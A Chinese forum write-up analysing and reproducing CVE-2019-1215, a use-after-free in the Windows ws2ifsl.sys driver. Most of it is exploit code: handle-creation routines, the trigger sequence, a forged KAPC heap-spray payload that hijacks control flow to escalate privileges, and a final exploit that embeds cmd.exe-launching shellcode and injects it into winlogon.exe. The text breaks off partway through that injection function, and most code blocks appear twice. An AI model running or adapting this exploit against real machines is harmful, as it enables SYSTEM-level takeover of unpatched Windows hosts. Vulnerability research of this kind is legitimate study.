首页
社区
课程
招聘
[原创]Windows内核CVE-2019-1215分析与复现
发表于: 2025-8-31 13:39 4364

[原创]Windows内核CVE-2019-1215分析与复现

2025-8-31 13:39
4364

该漏洞源于 ws2ifsl.sys 驱动程序在处理内存对象时的缺陷,可能导致释放重引用错误。攻击者可以利用该错误,通过精心构造的输入,访问已释放的内存区域,从而执行恶意代码,提升权限。

本文测试环境:

进入驱动的主函数DriverEntry中可以看到,驱动程序首先创建了一个名为\\Device\\WS2IFSL的设备供用户态访问:


驱动程序中实现了多个与用户态交互的函数,如下图所示:

MajorFunction的下标,实际上对应了Windows内核中的宏定义,对应的字段如下:

IRP_MJ_CREATEIRP_MJ_CLOSE分别对应了我们在用户态创建文件与关闭文件句柄的请求,需要注意的是对于IRP_MJ_CLOSE来说,只有当我们传入的文件句柄对应的那个内核文件的引用计数为0时,才会真正执行。

由于DispatchCreate对应我们创建文件的函数,而文件句柄这是我们与驱动交互的入口,因此我将从这里开始分析,该函数的实现如图所示:

可以看到,函数会根据SystemBuffer + 0x8的值来判断我们要创建的是ProcessFile还是SocketFile,根据微软文档的结构体定义,其中SystemBuffer实际上对应的是一片用户缓冲区。

在此之后,会将FileObject, mode, SystemBuffer作为参数传递给要执行的函数,而对于参数FileObject来说,当我们用户态获得一个句柄时,内核就会创建对应的FileObject,该结构体可以在Windbg中查看到,结构如下:

其中DeviceObject对应的就是驱动创建的那个设备,也就是\\Device\\WS2IFSL,而FsContext则对应了驱动程序自定义的数据,接下来首先分析CreateProcessFile函数中,主要部分如下:

函数首先根据我们传入的Handle的值,通过ObReferenceObjectByHandle获取到句柄对应的对象,该函数的原型为:

而在此处,由于传入的ObjectType参数为PsThreadType,表示我们期望获取的对象为一个线程对象,当获取成功后会进行判断线程对象是否属于当前进程,如果是的话,则通过ExAllocatePoolWithQuotaTag函数分配一个大小为0x108的内存池,而其中第一个参数为POOL_TYPE,这是一个枚举类型,根据查阅微软的文档,可以知道实际上函数中的512对应的是NonPagedPoolNx,也就是非分页池,其中的Nx代表了权限位为不可执行。

当内存申请成功后,会进行一系列的赋值操作,并且进入InitializeRequestQueue,由于赋的值是用户不可控制的,因此对于大部分值我们不用太过关心,只需要关注在buffer + 0x0处存储了字符串corPbuffer + 0x8存储了当前进程的PID,并且在InitializeRequestQueue的如图所示的位置:

我们可以看到驱动程序将APC对象挂在了buffer->ApcObject的位置,该结构体实际上是我自己恢复的,对应的偏移实际上为buffer+0x30处,而第二个参数则是指明了要把APC挂在哪个线程上,这里的pthread_Object实际就是根据我们前面传入的句柄所获取到的,是用户可控的。

当赋值操作完成后,会将buffer挂在fileObject + 0x18的位置,根据前面给出的结构体定义,我们可以知道该偏移对应的是FsContext

而对于CreateSocketFile函数,大致与CreateProcessFile的前置逻辑相同,函数如下:

可以看到区别主要存在于赋值不同与ObReferenceObjectByHandle的不同,先看ObReferenceObjectByHandle,根据前面我们给出的函数原型可以知道,此时的ObjectType变为了IoFileObjectType,这代表文件对象类型,如用户空间打开的 文件/设备句柄,那应该传入哪个文件或设备的句柄呢?

我们继续看下面的一段逻辑,首先将Object[0]给了v10,并通过IoGetRelatedDeviceObject来获取与Object[0]相关的是设备,其中DeviceObject这个全局变量对应的实际上就是驱动程序所注册的设备:\\Device\\WS2IFSL,然后取值判断,这里取得值有一点绕,我们拆开来看。

而根据条件判断的内容,驱动期望该指针偏移0处的内容为corP,期望该指针偏移8处的内容为PID,再根据前面CreateProcessFile函数对于赋值的处理,我们可以知道对于ProcessFilefileObject,偏移0x18实际上对应了FsContext,而*(Fscontext)*(Fscontext + 0x8)正好对应了字符串corP与进程的PID,因此我们可以知道,要传入的句柄实际上就是ProcessFile对应的句柄。

对于后面的赋值同样不用太过关注,只需要知道buffer + 0x0对于了字符串kcoS,而buffer + 0x10处存放了指向ProcessFilefileObject的指针。

根据MajorFunction数组的下标的宏定义可以知道,该函数对于了两种请求,分别为IRP_MJ_READIRP_MJ_WRITE,也就是对应了读写请求,该函数如下:

从图中我们可以看出,实际上读写请求只对应了SocketFile,而进入函数DoSocketReadWrite之后,我们可以看到:

函数首先将fileObject + 0x18处的值取出,这个偏移不论是对于SocketFile还是ProcessFile来说都是FsContext,而接下来,函数将FsContext作为参数传入了GetSocketProcessReference,该函数如下:

先是与锁相关的操作,而后将FsContext->Processfile_ptr引用计数加1,然后返回了FsContext->Processfile_ptr,而根据前面的分析,我们可以知道这里FsContext->Processfile_ptr指向的是ProcessFilefileObject,而需要注意的是,在这里引用计数+1的操作也只针对了ProcessFilefileObject,而并未针对FsContext指向的缓冲区。

接下来在返回了fileObject后,将其作为参数传入了QueueRequest函数:

这里由于我结构体恢复的某些字段可能不太对,导致看着很奇怪,实际上我分析了一下,这里似乎是在将某个节点挂入链表的尾部。

而后执行了SignalRequest

该函数最重要的一点就是调用了KeInsertQueueApc函数,将APC挂入了我们传入的线程对应的内核线程的APC列表中,并等待执行。

这里要注意的是,一旦APC被挂入了列表,那么即使我们关闭了句柄,也可以通过NtTestAlert等函数来强制执行。

该函数对应的请求是IRP_MJ_CLOSE请求,也就是对应的我们在用户态关闭句柄的操作,但此操作真正的执行时机是当我们传入的句柄的引用计数为0时,该函数如下:

我们可以看见,该函数会根据*(FsContext)的值来选择关闭哪个句柄,我们关注值为corP的情况,假设我们在用户态分别打开了ProcessFileSocketFile,并用SocketFile进行读写,当我们关闭ProcessFile时,并不会触发DispatchClose,因为根据我们之前的分析,在SocketFile的读写操作中会增加ProcessFile的引用计数(在创建时也会增加引用计数),那么读写完毕后,引用计数减1,由于创建时也增加了引用计数,因此此时引用计数为1,而后我们关闭SocketFile,此时引用计数为0,因此ProcessFileFsContext被释放,而此时APC已经被挂在了线程的APC队列中,造成了UAF。

至此,漏洞的成因已经基本分析完毕,我们总结一下,个人认为该漏洞的根本原因在于两点:

接下来就是分析该如何进行漏洞利用了。

首先我们思考一下我们可以控制哪些东西,如何进行交互。

对于该漏洞而言,我们可以控制ProcessFile对应的线程对象,也就是说可以控制将APC绑定到哪个线程对象上,而SocketFile实际则是依赖于我们创建的ProcessFile对象。

因此一个基本的交互思路是,我们创建一个ProcessFileSocketFile,并获取到对应的句柄,但这里需要注意一个关键点,在驱动程序注册设备时,仅仅使用了以下代码:

对于IoCreateDevice来说,DeviceObject 是内核态的设备对象(DEVICE_OBJECT),存在于内核空间,内核里这个对象表示该驱动,但它 本身并没有用户态可访问的名字。因此正常的CreateFile是无法获得到句柄的,而根据bluefrostlab的文章,我们可以用NtCreateFile来获取句柄。

那么此时,我们需要思考如何组织我们要传入的数据(也就是线程的句柄)。

为了传入某个线程句柄,我们首先需要创建一个线程:

然后调用Windows的 CreateThread进行创建:

然后,我们需要创建一个ProcessFile,要传入的参数为hAPCThread1,并且由于我们期望其返回的是一个ProcessFile的句柄,因此定义如下函数:

根据NtCreateFile的函数定义:

我们首先使用如下方法生成一个ObjectAttributes

而我们的数据都是存放在倒数第二个参数,也就是EaBuffer中的,而EA属性的结构体,在Windows的官方文档中同样能找到记载:

因此我们按照此定义,在我们的代码中定义一个相同的结构体,注意,由于我们是用户态,因此不能直接include对应头文件,所以需要自己定义:

而根据CreateProcessFileDispatchCreate访问偏移,我们不难得出以下结构:

而观察_FILE_FULL_EA_INFORMATION,不难想到在+0x8的位置正好是name,因此我们可以写出以下代码:

最后,我们只需要使用:

即可创建出句柄。

对于SocketFile也是同理,根据偏移的关系,可以推测出:

因此可以仿造前面的CreateProcessFileHandle写出如下代码:

运行后,发现能成功触发断点:

接下来我们思考如何利用漏洞,根据前面的分析,要完成提权需要五步:

代码实现如下:

测试代码可以看见,当关闭句柄时,SocketHandle触发了DispatchClose操作:

我们观察一下当APC初始化完成后的内存布局:

当我们调用NtTestAlert时,实际上会触发到+0x20处的KernelRoutine,这是一个重要的偏移,我们可以思考劫持该函数指针。

根据Alex Ionescu的文章,我们可以使用Named Pipe去堆喷,从而获取到被我们释放的堆块,然后根据偏移伪造一个KAPC结构体,从而实现控制流劫持。

我们先触发一次NtTestAlert,观察此时寄存器的情况:

可以发现此时第一个参数,也就是rcx指向了我们buffer + 0x30的位置,此位置存放的是KAPC结构,而rdx则指向了0xffffffffffffffff,这里我不知道具体指向的是哪个,但只要是0xffffffffffff就行了,因此可以通过伪造结构来实现提权。

此时,我们可以通过Named Pipe进行堆喷,伪造一个布局,申请到释放的内存后,内存中应该如下:

基于上述布局,通过触发线程APC强制执行,就可以劫持控制流到SeSetAccessStateGenericMapping,最后成功提权:


最终EXP如下:

本人水平有限,如有错误,欢迎师傅们指正。

下标 宏定义 含义 代码里的对应
0 IRP_MJ_CREATE 打开设备/文件 DispatchCreate
2 IRP_MJ_CLOSE 关闭设备/文件 DispatchClose
3 IRP_MJ_READ 读请求 DispatchReadWrite
4 IRP_MJ_WRITE 写请求 DispatchReadWrite
14 IRP_MJ_DEVICE_CONTROL DeviceIoControl 请求(用户态 IOCTL) DispatchDeviceControl
18 IRP_MJ_CLEANUP CloseHandleCancelIo 之类清理操作 DispatchCleanup
27 IRP_MJ_PNP 即插即用请求 DispatchPnP
5: kd> dt nt!_FILE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x008 DeviceObject     : Ptr64 _DEVICE_OBJECT
   +0x010 Vpb              : Ptr64 _VPB
   +0x018 FsContext        : Ptr64 Void
   +0x020 FsContext2       : Ptr64 Void
   +0x028 SectionObjectPointer : Ptr64 _SECTION_OBJECT_POINTERS
   +0x030 PrivateCacheMap  : Ptr64 Void
   +0x038 FinalStatus      : Int4B
   +0x040 RelatedFileObject : Ptr64 _FILE_OBJECT
   +0x048 LockOperation    : UChar
   +0x049 DeletePending    : UChar
   +0x04a ReadAccess       : UChar
   +0x04b WriteAccess      : UChar
   +0x04c DeleteAccess     : UChar
   +0x04d SharedRead       : UChar
   +0x04e SharedWrite      : UChar
   +0x04f SharedDelete     : UChar
   +0x050 Flags            : Uint4B
   +0x058 FileName         : _UNICODE_STRING
   +0x068 CurrentByteOffset : _LARGE_INTEGER
   +0x070 Waiters          : Uint4B
   +0x074 Busy             : Uint4B
   +0x078 LastLock         : Ptr64 Void
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : Ptr64 _IO_COMPLETION_CONTEXT
   +0x0b8 IrpListLock      : Uint8B
   +0x0c0 IrpList          : _LIST_ENTRY
   +0x0d0 FileObjectExtension : Ptr64 Void
5: kd> dt nt!_FILE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x008 DeviceObject     : Ptr64 _DEVICE_OBJECT
   +0x010 Vpb              : Ptr64 _VPB
   +0x018 FsContext        : Ptr64 Void
   +0x020 FsContext2       : Ptr64 Void
   +0x028 SectionObjectPointer : Ptr64 _SECTION_OBJECT_POINTERS
   +0x030 PrivateCacheMap  : Ptr64 Void
   +0x038 FinalStatus      : Int4B
   +0x040 RelatedFileObject : Ptr64 _FILE_OBJECT
   +0x048 LockOperation    : UChar
   +0x049 DeletePending    : UChar
   +0x04a ReadAccess       : UChar
   +0x04b WriteAccess      : UChar
   +0x04c DeleteAccess     : UChar
   +0x04d SharedRead       : UChar
   +0x04e SharedWrite      : UChar
   +0x04f SharedDelete     : UChar
   +0x050 Flags            : Uint4B
   +0x058 FileName         : _UNICODE_STRING
   +0x068 CurrentByteOffset : _LARGE_INTEGER
   +0x070 Waiters          : Uint4B
   +0x074 Busy             : Uint4B
   +0x078 LastLock         : Ptr64 Void
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : Ptr64 _IO_COMPLETION_CONTEXT
   +0x0b8 IrpListLock      : Uint8B
   +0x0c0 IrpList          : _LIST_ENTRY
   +0x0d0 FileObjectExtension : Ptr64 Void
NTSTATUS ObReferenceObjectByHandle(
  [in]            HANDLE                     Handle,
  [in]            ACCESS_MASK                DesiredAccess,
  [in, optional]  POBJECT_TYPE               ObjectType,
  [in]            KPROCESSOR_MODE            AccessMode,
  [out]           PVOID                      *Object,
  [out, optional] POBJECT_HANDLE_INFORMATION HandleInformation
);
NTSTATUS ObReferenceObjectByHandle(
  [in]            HANDLE                     Handle,
  [in]            ACCESS_MASK                DesiredAccess,
  [in, optional]  POBJECT_TYPE               ObjectType,
  [in]            KPROCESSOR_MODE            AccessMode,
  [out]           PVOID                      *Object,
  [out, optional] POBJECT_HANDLE_INFORMATION HandleInformation
);
DWORD WINAPI APCThread_1(LPVOID lparam){
    SetEvent(sync_for_thread1);
    while(1){
        if(signal_for_trigger1 == 1){
            printf("[+] thread1 triggering vul...\n");
            NtTestAlert();
            while(1){
                sleep(0x1000);
            }
        }
        else{
            Sleep(1);
        }
    }
    return 0;
 
}
DWORD WINAPI APCThread_1(LPVOID lparam){
    SetEvent(sync_for_thread1);
    while(1){
        if(signal_for_trigger1 == 1){
            printf("[+] thread1 triggering vul...\n");
            NtTestAlert();
            while(1){
                sleep(0x1000);
            }
        }
        else{
            Sleep(1);
        }
    }
    return 0;
 
}
HANDLE hAPCThread1 = CreateThread(0, 0, APCThread_1, 0, 0, 0);
HANDLE hAPCThread1 = CreateThread(0, 0, APCThread_1, 0, 0, 0);
HANDLE CreateProcessFileHandle(HANDLE hThread);
HANDLE CreateProcessFileHandle(HANDLE hThread);
HANDLE fileHandle = 0;
UNICODE_STRING device_name;
OBJECT_ATTRIBUTES ObjectAttributes_t;
IO_STATUS_BLOCK IoStatusBlock_t;
RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
 
InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
HANDLE fileHandle = 0;
UNICODE_STRING device_name;
OBJECT_ATTRIBUTES ObjectAttributes_t;
IO_STATUS_BLOCK IoStatusBlock_t;
RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
 
InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG  NextEntryOffset;
  UCHAR  Flags;
  UCHAR  EaNameLength;
  USHORT EaValueLength;
  CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG  NextEntryOffset;
  UCHAR  Flags;
  UCHAR  EaNameLength;
  USHORT EaValueLength;
  CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
SystemBuffer + 0x8  --> name
SystemBuffer + 0x10 --> handle
SystemBuffer + 0x18 --> APCRoutine
SystemBuffer + 0x20 --> CancelRoutine
SystemBuffer + 0x8  --> name
SystemBuffer + 0x10 --> handle
SystemBuffer + 0x18 --> APCRoutine
SystemBuffer + 0x20 --> CancelRoutine
FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
 
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
eaBuffer->EaValueLength = sizeof(ProcessData);
 
RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1);
 
ProcessData* eaData =  (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
 
eaData->handle = (void*) hThread;
eaData->unknown1 = (void*) 0x2222222;
eaData->unknown2 = (void*) 0x3333333;
eaData->unknown3 = (void*) 0x4444444;
eaData->unknown4 = (void*) 0x5555555;
FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
 
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
eaBuffer->EaValueLength = sizeof(ProcessData);
 
RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1);
 
ProcessData* eaData =  (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
 
eaData->handle = (void*) hThread;
eaData->unknown1 = (void*) 0x2222222;
eaData->unknown2 = (void*) 0x3333333;
eaData->unknown3 = (void*) 0x4444444;
eaData->unknown4 = (void*) 0x5555555;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
if (status != STATUS_SUCCESS){
    printf("[-] NtCreateFile error: %x \n", status);
    free(eaBuffer);
    return fileHandle;
}
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
if (status != STATUS_SUCCESS){
    printf("[-] NtCreateFile error: %x \n", status);
    free(eaBuffer);
    return fileHandle;
}
SystemBuffer + 0x8  --> name
SystemBuffer + 0x10 --> unknown
SystemBuffer + 0x18 --> ProcessFileHandle
SystemBuffer + 0x8  --> name
SystemBuffer + 0x10 --> unknown
SystemBuffer + 0x18 --> ProcessFileHandle
HANDLE CreateSocketFileHandle(HANDLE hProc){
    HANDLE fileHandle = 0;
    UNICODE_STRING device_name;
    OBJECT_ATTRIBUTES ObjectAttributes_t;
    IO_STATUS_BLOCK IoStatusBlock_t;
    RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
 
    InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
 
    FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
 
    eaBuffer->NextEntryOffset = 0;
    eaBuffer->Flags = 0;
    eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
    eaBuffer->EaValueLength = sizeof(SocketData);
 
    RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1);
 
    SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
    eaData->unknown = 0x66666666;
    eaData->handle = hProc;
 
    NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
    if (status != STATUS_SUCCESS){
        printf("[-] NtCreateFile error: %x \n", status);
        free(eaBuffer);
        return fileHandle;
    }
 
    free(eaBuffer);
    return fileHandle;
}
HANDLE CreateSocketFileHandle(HANDLE hProc){
    HANDLE fileHandle = 0;
    UNICODE_STRING device_name;
    OBJECT_ATTRIBUTES ObjectAttributes_t;
    IO_STATUS_BLOCK IoStatusBlock_t;
    RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
 
    InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
 
    FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
 
    eaBuffer->NextEntryOffset = 0;
    eaBuffer->Flags = 0;
    eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
    eaBuffer->EaValueLength = sizeof(SocketData);
 
    RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1);
 
    SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
    eaData->unknown = 0x66666666;
    eaData->handle = hProc;
 
    NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
    if (status != STATUS_SUCCESS){
        printf("[-] NtCreateFile error: %x \n", status);
        free(eaBuffer);
        return fileHandle;
    }
 
    free(eaBuffer);
    return fileHandle;
}
char* readBuffer = (char*)malloc(0x100);
DWORD bytesRead = 0;
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
 
CloseHandle(procHandle);
 
NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
CloseHandle(sockHandle);
char* readBuffer = (char*)malloc(0x100);
DWORD bytesRead = 0;
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
 
CloseHandle(procHandle);
 
NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
CloseHandle(sockHandle);
*(DWORD64*)(payload + 0x0)  = 0x41414141414141;
*(DWORD64*)(payload + 0x8)  = 0x12121212;
*(DWORD64*)(payload + 0x10) = Linked_List_Entry;
*(DWORD64*)(payload + 0x18) = Linked_List_Entry;
 
*(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr;
*(DWORD64*)(payload + 0x28) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x30) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x38) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x40) = 0x4040404040404040;
*(DWORD64*)(payload + 0x48) = TokenObj;
*(DWORD64*)(payload + 0x0)  = 0x41414141414141;
*(DWORD64*)(payload + 0x8)  = 0x12121212;
*(DWORD64*)(payload + 0x10) = Linked_List_Entry;
*(DWORD64*)(payload + 0x18) = Linked_List_Entry;
 
*(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr;
*(DWORD64*)(payload + 0x28) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x30) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x38) = 0xffffffffffffffff;
*(DWORD64*)(payload + 0x40) = 0x4040404040404040;
*(DWORD64*)(payload + 0x48) = TokenObj;
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <winternl.h>
#include <tlhelp32.h>
#include<Psapi.h>
#include<profileapi.h>
 
#pragma comment(lib, "ntdll.lib")
 
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
 
#define  ERR_LENGTH_MISMATCH 0xc0001
#define  ERR_DONT_FIND_TARGET 0xc0002
 
#define TOKEN_TYPE 0x5
 
#define PRIV_OFFSET 0x40
 
// typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)(
//     IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
//     OUT PVOID SystemInformation,
//     IN ULONG SystemInformationLength,
//     OUT PULONG ReturnLength OPTIONAL
//     );
 
// NtQuerySystemInformation_t NtQuerySystemInformation_p = NULL;
 
HANDLE sync_for_thread1 = 0;
HANDLE sync_for_thread2 = 0;
HANDLE signal_for_LPE = 0;
 
int signal_for_trigger1 = 0;
int signal_for_trigger2 = 0;
 
typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
    HANDLE Event,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length,
    PLARGE_INTEGER ByteOffset,
    PULONG key);
 
 
typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);
 
NtTestAlert_t NtTestAlert = NULL;
NtWriteFile_t NtWriteFile = NULL;
 
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void* Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
 
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
 
typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG  NextEntryOffset;  // 0-3
  UCHAR  Flags;            // 4
  UCHAR  EaNameLength;     // 5
  USHORT EaValueLength;    // 6-7
  CHAR   EaName[1];        // 8
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
 
typedef struct PorcessData{
    HANDLE handle;
    void* unknown1;    
    void* unknown2;    
    void* unknown3;            
    void* unknown4;
}ProcessData;
 
typedef struct SocketData{
    void* unknown;
    HANDLE handle;
}SocketData;
 
DWORD WINAPI APCThread_1(LPVOID lparam){
    SetEvent(sync_for_thread1);
    while(1){
        if(signal_for_trigger1 == 1){
            printf("[+] thread1 triggering vul...\n");
            NtTestAlert();
            while(1){
                Sleep(0x1000);
            }
        }
        else{
            Sleep(1);
        }
    }
    return 0;
 
}
 
void InjectCode(){
    PROCESSENTRY32W entry;
    entry.dwSize = sizeof(PROCESSENTRY32W);
 
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (snapshot == INVALID_HANDLE_VALUE){
        printf("[-] CreateToolhelp32Snapshot failed: %x\n", GetLastError());
        return;
    }
 
    int pid = -1;
    if (Process32FirstW(snapshot, &entry)) {
        do{
            wprintf(L"[DEBUG] Process: %s, PID: %d\n", entry.szExeFile, entry.th32ProcessID);
            if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0) {
                printf("Found pid[%d]\n", entry.th32ProcessID);
                pid = entry.th32ProcessID;
                break;
            }
        } while (Process32NextW(snapshot, &entry));
    }
    else{
        printf("[-] Process32FirstW failed: %x\n", GetLastError());
    }
 
    CloseHandle(snapshot);
 
    if (pid < 0){
        printf("[-] Could not find process\n");
        return;
    }
 
    HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!h){
        printf("[-] Could not open process: %x\n", GetLastError());
        return;
    }
 
    printf("Allocating Shellcode Space...\n");
 
    void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!buffer){
        printf("[-] VirtualAllocEx failed: %x\n", GetLastError());
        CloseHandle(h);
        return;
    }
 
    if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), NULL)){
        printf("[-] WriteProcessMemory failed: %x\n", GetLastError());
        VirtualFreeEx(h, buffer, 0, MEM_RELEASE);
        CloseHandle(h);
        return;
    }
 
    HANDLE hthread = CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);
    if (hthread == INVALID_HANDLE_VALUE){
        printf("[-] CreateRemoteThread failed: %x\n", GetLastError());
        VirtualFreeEx(h, buffer, 0, MEM_RELEASE);
        CloseHandle(h);
        return;
    }
 
